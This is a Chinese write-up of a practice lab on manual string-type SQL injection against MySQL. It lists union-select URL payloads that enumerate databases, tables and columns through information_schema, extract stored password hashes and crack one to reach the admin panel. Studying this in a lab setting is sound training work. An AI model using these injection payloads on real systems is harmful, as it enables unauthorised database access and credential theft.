WEB安全-SQL手工注入漏洞测试(MySQL数据库-字符型 )
前言
目前钻研SQLi注入,这是第二篇,靶场名即为标题,链接如下
https://www.mozhe.cn/bug/detail/dE1HSW5yYThxUHcyUTZab2pTcmpGUT09bW96aGUmozhe
对于靶场,我慢慢的会带入一些自己的想法,可能有些有问题,请各位师傅可以指出
正文
首先查看一下题目的提示信息
进入后查看页面,发现和上一次写的一样
点进公告,发现和之前一样
对URL进行调试,首先先查看闭合,发现是单引号闭合,这里由于火狐会自动编码,所以%23即注释符#
?id=tingjigonggao' %23
之后考虑有多少列,通过二分法发现最大正常位是4
?id=tingjigonggao' union order by 4 %23
查看报错位,发现是2和3报错
?id=tingjigonggao123' union select 1,2,3,4 %23
之后就是流程化的获取数据,先获取数据库信息为 mozhe_discuz_stormgroup
?id=tingjigonggao123' union select 1,database(),3,4 %23
获取表的信息为 notice 、stormgroup_member
?id=tingjigonggao123' union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 0,1),4%23
这里还有一种方式就是通过group_concat()函数拉取表数据,使其在同一行打印出来,逗号分隔,但是试了一下好像一直报错,先贴出来
?id=tingjigonggao123' union select 1,database(),(group_concat(table_name) from information_schema.tables where table_schema=database()),4 %23
猜测应该是在 stormgroup_member 表里,拉取列数据为 id name password status ,和之前的一样,
?id=tingjigonggao123' union select 1,database(),(select column_name from information_schema.columns where table_name="stormgroup_member" limit 0,1),4 %23
之后获取name和password,name两个都是mozhe,password为 356f589a7df439f6f744ff19bb8092c0 和 ec2e79576066191cf88df175e0038735
?id=tingjigonggao123' union select 1,database(),(select name from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23
?id=tingjigonggao123' union select 1,database(),(select password from mozhe_discuz_stormgroup.stormgroup_member limit 0,1),4 %23
md5解密后,获取密码为 194347,登入后台获取key
总结
其实这些SQLi题目都可以用sqlmap跑出来,但是为了巩固手工注入的能力,在此不做演示,具体参照上一篇布尔盲注
一些需要的小知识:
information_schema的介绍:
information_schema:MySQL自带的数据库,存储了数据库中所有的数据库、表和列信息
information_schema.tables:所有表信息
information_schema.columns:所有列信息
table_schema:数据库名称
table_name:表名称
column_name:列名称
group_concat(table_name):列出所有表名